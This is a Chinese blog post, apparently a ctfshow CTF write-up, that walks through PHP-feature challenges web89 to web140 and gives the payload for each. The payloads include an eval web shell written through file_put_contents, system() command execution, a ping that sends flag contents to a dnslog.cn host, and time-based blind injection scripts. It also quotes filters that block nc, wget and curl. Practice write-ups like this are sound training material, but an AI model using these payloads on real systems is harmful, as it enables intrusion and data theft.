PHP特性 CTF中常用PHP特性总结 - gxngxngxn - 博客园
web89 1 2 3 4 5 6 7 8 9 10 11 12 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (preg_match ("/[0-9]/" , $num )){ die ("no no no!" ); } if (intval ($num )){ echo $flag ; } }
intval函数:获取变量的整数值
数组绕过正则表达式
web90 1 2 3 4 5 6 7 8 9 10 11 12 13 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
num != 4476但是num === 4476,可以通过intval函数来int一下
2、intval函数的使用
1 intval ( mixed $value , int $base = 10 ) : int
如果 base 是 0,通过检测 value 的格式来决定使用的进制: ◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则, ◦ 如果字符串以 “0” 开始,使用 8 进制(octal);否则, ◦ 将使用 10 进制 (decimal)。
科学计数法也可以绕过
1 2 3 4 5 6 intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格
web91 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; } }
模式本身 :^php$
^
匹配行的开头
php
匹配字符串 “php”
$
匹配行的结尾
修饰符 :
i
表示不区分大小写(可匹配 “php”、”PHP”、”Php” 等)
m
表示多行模式,改变 ^
和 $
的行为:
不加 m
时,^
和 $
只匹配整个字符串的开头/结尾
加 m
后,^
和 $
会匹配字符串中每一行的开头/结尾
第一个正则匹配有m,可以匹配多行
第二个正则匹配没有m,只能匹配字符串的开头和结尾,所以加上换行符%0a
web92 1 2 3 4 5 6 7 8 9 10 11 12 13 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
这里是弱比较,不会比较浮点和整数类型的,不能使用4476.0,使用16进制
web93 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
字母被限制使用了,使用八进制
web94 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
相关函数:
stripos()
- 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strripos()
- 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
strrpos()
- 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
0不能在开头
strpos($num, "0")
查找字符串 $num
中是否包含 "0"
。
如果找到,返回 "0"
首次出现的位置(索引,从 0 开始) 。
如果没找到,返回 false
。
!strpos($num, "0")
!
表示逻辑取反,即:
如果 strpos
返回 false
(未找到 "0"
),则 !false
变成 true
,触发 die()
。
如果 strpos
返回一个数字(找到 "0"
),则 !数字
变成 false
,不触发 die()
。
strpos
返回 0
的情况 : 如果 "0"
出现在字符串开头(索引 0
),strpos
返回 0
,而 !0
也是 true
,会导致误判!
web95 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
过滤了点
web96 1 2 3 4 5 6 7 8 9 10 11 12 highlight_file (__FILE__ );if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
1 2 3 ./flag.php /var/www/html/flag.php php://filter/resource=flag.php
web97 1 2 3 4 5 6 7 8 9 include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;}
数组绕过,都返回为null
web98 1 2 3 4 5 include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
php三元运算符
(expr1) ? (expr2) : (expr3);
get被post覆盖,存在get
1 2 get:?a=1 POST:HTTP_FLAG=flag
web99 1 2 3 4 5 6 7 8 highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); }
array_push() 函数向数组尾部插入一个或多个元素。
rand() 函数生成随机整数。
in_array是弱类型比较,所以可以用数字+”.php”的方式绕过判断,并写入一句话木马
如果 $_GET['n']
的值存在于 $allow
数组中,则将 $_POST['content']
写入文件名为 $_GET['n']
的文件。
1 2 3 4 5 6 7 8 GET ?n=123.php POST content=<?php @eval($_POST[1]);?> 访问/123.php 1=system('ls'); 1=system('cat flag36d.php');
可以多试几次
web100 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
is_numeric用来检测变量是否为数字或数字字符串
php的运算优先级
所以只需要v1是数字或者数字字符串,v0=true;
v2中不能有分号;
v3中必须有分号;
构造
1 2 3 v1=1&v2=system('ls')&v3=; v1=1&v2=system('cat ctfshow.php')&v3=;
web101 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } }
1 2 3 4 反射类ReflectionClass执行命令 ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作 反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令
1 v1=1&v2=echo new ReflectionClass&v3=;
web102 1 2 3 4 5 6 7 8 9 10 11 12 13 $v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); }
1 2 3 substr($v2,2) 是相当于返回v2[2:] call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数 file_put_contents($v3,$str)是将$str的内容写入并保存为$v3(第一个参数是文件名,第二个参数是内容)
1 2 3 4 5 6 7 8 $a ='<?=`cat *`;' ;$b =base64_encode ($a ); $c =bin2hex ($b ); 输出 5044383959474e6864434171594473 带e的话会被认为是科学计数法,可以通过is_numeric检测。 大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
1 2 3 4 5 6 7 8 POST v1=hex2bin GET ?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 访问1.php ctfshow{d581f290-402e-43da-9b08-8eae6a43ed3b}
web103 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; if (!preg_match ("/.*p.*h.*p.*/i" ,$str )){ file_put_contents ($v3 ,$str ); } else { die ('Sorry' ); } } else { die ('hacker' ); }
1 2 3 4 5 6 7 POST v1=hex2bin GET ?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php ctfshow{e2297350-39a0-4ee0-a68c-19d28f7a6044}
web104 1 2 3 4 5 6 7 8 9 10 11 highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
数组绕过
web105 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
让key = suces –> key=suces
然后value=flag 那 么 value=flag
也就是suces=flag
要求$flag不等于flag
给$error覆盖变量,覆盖为flag
1 2 3 4 5 6 GET:suces=flag POST:error=suces ctfshow{bfced8fd-565c-4971-bd6f-a7e47deb8dd0}
web106 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } }
数组绕过
ctfshow{699d9fb8-c7f4-4435-8a93-0915b4da6d87}
web107 1 2 3 4 5 6 7 8 9 10 11 12 13 14 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } }
parse_str()函数和MD5弱碰撞
1 2 3 4 5 6 7 POST v1=flag=0 GET v3=QNKCDZO ctfshow{da4b0308-49d1-4ede-9eb3-b6d862a1895b}
web108 1 2 3 4 5 6 7 8 9 10 11 12 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; }
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
1 ereg () 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true ,否则返回false 。搜索对于字母字符是区分大小写的,这里是c的值要为[a-zA-Z].可以用%00 截断!
strrev :将字符串中的字符顺序颠倒
0x36d=877,倒过来就是778
1 2 3 4 c=a%00778 大写字母全部改成小写 ctfshow{407095b2-29ef-40b6-ac87-ac2662501014}
web109 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } }
v1和v2需要存在字母
v1需要放置一个php内置类,v2执行命令
1 2 3 4 ?v1=ReflectionClass&v2=system('ls') ?v1=ReflectionClass&v2=system('tac fl36dg.txt') ctfshow{e4faedc0-b7d4-4983-bdbb-d86e7c2d15a4}
web110 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); }
v2的正则匹配绕不过去,system(‘ls’)无法执行
可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构
1 ?v1=FilesystemIterator&v2=getcwd
然后访问
得到flag
web111 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } }
v1=ctfshow
v2用全局变量$GLOBALS
var_dump(ctfshow)—->var_dump($GLOBALS)
1 $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
web112 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
用php伪协议
1 ?file=php://filter/resource=flag.php
web113 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
filter被绕过了
1 ?file=compress.zlib://flag.php
web114 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );function filter ($file ) { if (preg_match ('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];echo "师傅们居然tql都是非预期 哼!" ;if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
1 ?file=php://filter/resource=flag.php
web115 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 highlight_file (__FILE__ );error_reporting (0 );function filter ($num ) { $num =str_replace ("0x" ,"1" ,$num ); $num =str_replace ("0" ,"1" ,$num ); $num =str_replace ("." ,"1" ,$num ); $num =str_replace ("e" ,"1" ,$num ); $num =str_replace ("+" ,"1" ,$num ); return $num ; } $num =$_GET ['num' ];if (is_numeric ($num ) and $num !=='36' and trim ($num )!=='36' and filter ($num )=='36' ){ if ($num =='36' ){ echo $flag ; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
禁用16进制,8进制,点,科学计数法…
trim:去除字符串的头尾空格
fuzz脚本
1 2 3 4 5 6 7 8 9 10 <?php for ($i = 0 ; $i <129 ; $i ++){ $num =chr ($i ).'36' ; if (trim ($num )!=='36' && is_numeric ($num ) && $num !=='36' ){ echo urlencode (chr ($i ))."\n" ; } } ?> %0 C %2 B - . 0 1 2 3 4 5 6 7 8 9
%0C绕过trim
1 2 3 num=%0C36 ctfshow{476357e7-b968-49f8-9d94-02afa8deae13}
web123 1 2 3 4 5 6 7 8 9 10 11 12 highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c )&&$c <=18 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
1 在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
1 2 3 4 CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag CTFshow{25e03879-7814-40c9-8bc3-86eb08737baf}
web125 1 2 3 4 5 6 7 8 9 10 11 12 highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&&$c <=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
flag,echo…..被禁用了
网页模式下
1 2 3 $_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] QUERY_STRING是指?后面的值
1 2 3 4 GET ?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
web126 1 2 3 4 5 6 7 8 9 10 11 12 highlight_file (__FILE__ );include ("flag.php" );$a =$_SERVER ['argv' ];$c =$_POST ['fun' ];if (isset ($_POST ['CTF_SHOW' ])&&isset ($_POST ['CTF_SHOW.COM' ])&&!isset ($_GET ['fl0g' ])){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ($c )<=16 ){ eval ("$c " .";" ); if ($fl0g ==="flag_give_me" ){ echo $flag ; } } }
上面的payload可以用
1 2 3 4 GET ?$fl0g=flag_give_me; POST CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
web127 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 include ("flag.php" );highlight_file (__FILE__ );$ctf_show = md5 ($flag );$url = $_SERVER ['QUERY_STRING' ];function waf ($url ) { if (preg_match ('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url )){ return true ; }else { return false ; } } if (waf ($url )){ die ("嗯哼?" ); }else { extract ($_GET ); } if ($ctf_show ==='ilove36d' ){ echo $flag ; }
extract()函数从数组中将变量导入到当前的符号表
下划线被过滤了
fuzz脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php function waf($num){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){ return false; }else{ return true; } } for($i = 0; $i<129; $i++){ $num=chr($i); if(waf($num)){ echo "未编码:".$num." 经过编码:".urlencode(chr($i))."\n"; } } ?>
1 2 3 ?ctf%20show=ilove36d ctfshow{9d081d11-58fb-45be-bb2e-7bb31b99ad3d}
web128 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 include ("flag.php" );highlight_file (__FILE__ );$f1 = $_GET ['f1' ];$f2 = $_GET ['f2' ];if (check ($f1 )){ var_dump (call_user_func (call_user_func ($f1 ,$f2 ))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match ('/[0-9]|[a-z]/i' , $str ); }
用gettext()的拓展函数
_()是gettext()的拓展函数
get_defined_vars返回由所有已定义变量所组成的数组
1 2 3 var_dump(call_user_func(call_user_func($f1,$f2))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));//输出数组
1 ?f1=_&f2=get_defined_vars
web129 1 2 3 4 5 6 if (isset ($_GET ['f' ])){ $f = $_GET ['f' ]; if (stripos ($f , 'ctfshow' )>0 ){ echo readfile ($f ); } }
ctfshow出现的位置大于0就会读取文件
1 2 3 4 ?f=/ctfshow/../../../../../var/www/html/flag.php ctfshow{e3b03374-7b79-4d2d-ac4c-a335597ba3b0}
web130 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['f' ])){ $f = $_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f , 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
数组绕过
1 stripos函数会返回`null`,null!=false
web131 1 2 3 4 5 6 7 8 9 10 11 12 13 14 include ("flag.php" );if (isset ($_POST ['f' ])){ $f = (String)$_POST ['f' ]; if (preg_match ('/.+?ctfshow/is' , $f )){ die ('bye!' ); } if (stripos ($f ,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag ; }
脚本
1 2 3 4 5 6 7 8 import requests url="https://3eb26b55-3516-4b1c-955e-8fdbbac2b7d7.challenge.ctf.show/" data={ 'f':'very'*170000+'36Dctfshow' } r=requests.post(url,data=data) print(r.text)
web132 访问robots.txt
/admin
1 2 3 4 5 6 7 8 9 10 11 12 13 if (isset ($_GET ['username' ]) && isset ($_GET ['password' ]) && isset ($_GET ['code' ])){ $username = (String)$_GET ['username' ]; $password = (String)$_GET ['password' ]; $code = (String)$_GET ['code' ]; if ($code === mt_rand (1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag ; } } }
mt_rand()用 Mersenne Twister 算法生成随机整数
这里password=$flag和username=admin满足一个即可,然后code要为admin
1 2 3 ?username=admin&password=&code=admin ctfshow{31270840-d5f6-46a1-99c2-8cf9e24afbb3}
web133 1 2 3 4 5 6 7 8 9 highlight_file (__FILE__ );if ($F = @$_GET ['F' ]){ if (!preg_match ('/system|nc|wget|exec|passthru|netcat/i' , $F )){ eval (substr ($F ,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
出题人原话
1 2 3 4 5 6 7 我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令 **那为什么会这样?** 因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数 这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。 而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是 ``$F`;+sleep 3`,就执行成功
‘’相当于shell_exec()的别名,前6个字母是eval的输出eval(‘$F’ ;)
然后要用到这个在线工具DNSLog Platform
1 2 ?F=`$F`;+`ping "cat flag.php|grep ctfshow".y3a2j4.dnslog.cn -c 1`
web134 1 2 3 4 5 6 7 8 9 10 11 highlight_file (__FILE__ );$key1 = 0 ;$key2 = 0 ;if (isset ($_GET ['key1' ]) || isset ($_GET ['key2' ]) || isset ($_POST ['key1' ]) || isset ($_POST ['key2' ])) { die ("nonononono" ); } @parse_str ($_SERVER ['QUERY_STRING' ]); extract ($_POST );if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents ('flag.php' )); }
1 2 3 4 5 6 7 8 9 10 11 如果以Get方式和Post方式得到key1,key2,会输出nonononono parse_str把查询字符串解析到变量中 ($_SERVER['QUERY_STRING'])我们会得到url?后面传的值 extract 函数从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。 所以我们可以用数组绕过isset 必须使得key1,key2都等于36d才能得到flag.php
1 ?_POST[key1]=36d&_POST[key2]=36d
web135 1 2 3 4 5 6 7 8 9 highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
133的升级版
substr返回字符串的一部分
DNSLog Platform
cp命令
1 ?F=`$F `;cp flag.php 1.txt
web136 1 2 3 4 5 6 7 8 9 10 11 12 13 function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }
exec,是执行一个外部程序,回显最后一行,需要用echo输出。
这里没有echo,没有回显
可以用tee指令
1 2 3 4 ?c=ls /|tee abc ?c=tac /f149_15_h3r3|tee flag 访问 ctfshow{c7793f57-3ffa-4a24-bbae-863610d52c68}
web137 1 2 3 4 5 6 7 8 9 10 11 12 13 14 highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } call_user_func ($_POST ['ctfshow' ]);
1 2 3 POST ctfshow=ctfshow::getFlag 源码
web138 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 highlight_file (__FILE__ );class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents ("flag.php" ); } } if (strripos ($_POST ['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func ($_POST ['ctfshow' ]);
:被禁用了
call_user_func可以使用数组
web139 1 2 3 4 5 6 7 8 9 10 11 12 13 function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); }
没有echo,没有回显
试了tee指令,好像不行
找了大佬的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests import time import string str=string.ascii_letters+string.digits #生成所有字母与数字[a-zA-Z0-9] result="" for i in range(1,5): key=0 for j in range(1,15): if key==1: break for n in str: payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n) #print(payload) url="https://0326cb51-8c79-42ef-99b6-5db12a9a640b.challenge.ctf.show/"+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break if n=='9': key=1 result+=" "
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests import time import string str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字 result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) #print(payload) url="https://3a779fba-d3bc-48be-86e9-482d43d775ea.challenge.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间 except: result=result+n print(result) break
web140 1 2 3 4 5 6 7 8 9 10 11 12 13 highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
只要f1,f2构造出来的东西==0就相等了
